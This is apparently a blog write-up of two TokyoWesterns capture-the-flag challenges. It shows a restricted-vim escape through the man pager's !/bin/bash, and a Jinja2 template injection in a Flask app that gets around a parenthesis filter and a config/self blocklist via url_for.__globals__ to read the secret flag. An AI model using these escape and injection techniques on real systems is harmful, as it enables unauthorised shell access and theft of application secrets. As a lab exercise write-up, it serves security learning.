This is a patch they applied on vim, disabling us to use :, Q and g shortcuts.
So we can't use something like :shell or :!/bin/bash.
I found a Vim Cheat Sheet. K shortcut opens man page for word under the cursor.
So just press K and we are in man now.
But their man is not patched. So we can use !/bin/bash to have a shell.
Then we just have to look around to find the flag:
vimshell@vimshell-fbc8f84bf-w82t8:/go$ whoamivimshellvimshell@vimshell-fbc8f84bf-w82t8:/go$ pwd/govimshell@vimshell-fbc8f84bf-w82t8:/go$ ls ..bin boot dev etc flag go home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var vim vimshell.patchvimshell@vimshell-fbc8f84bf-w82t8:/go$ cat ../flagTWCTF{the_man_with_the_vim}
import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route('/shrine/<path:shrine>')defshrine(shrine):defsafe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self']return''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+sreturn flask.render_template_string(safe_jinja(shrine))if__name__=='__main__': app.run(debug=True)
This is a flask app using jinja template engine, let's try a basic {{ 7*7 }} as a path: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B7*7%7D%7D.
This is resulting into 49.
So we can make try an SSTI.
We notice this piece of code removing all of our parenthesis, so we can't use things like dir() or __subclasses__().
s = s.replace('(', '').replace(')', '')
Then some global flask methods where removed:
>>> blacklist = ['config', 'self']>>>''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])'{% set config=None%}{% set self=None%}'
So our request is always prefixed with {% set config=None%}{% set self=None%} before being rendered by jinja2.
This is only disabling us from using config or self globals directly.
OddCoder used url_for and its method __globals__ to access the current_app, replacing self.
So http://shrine.chal.ctf.westerns.tokyo/shrine/{{ url_for.__globals__["current_app"].config["FLAG"] }} results in TWCTF{pray_f0r_sacred_jinja2}.
Posts
About the hype around XBOW
Introduction# You have all seen the hype around XBOW: βthe AI that climbed 1st on HackerOne leaderboardβ. As often, when something new appears or a ne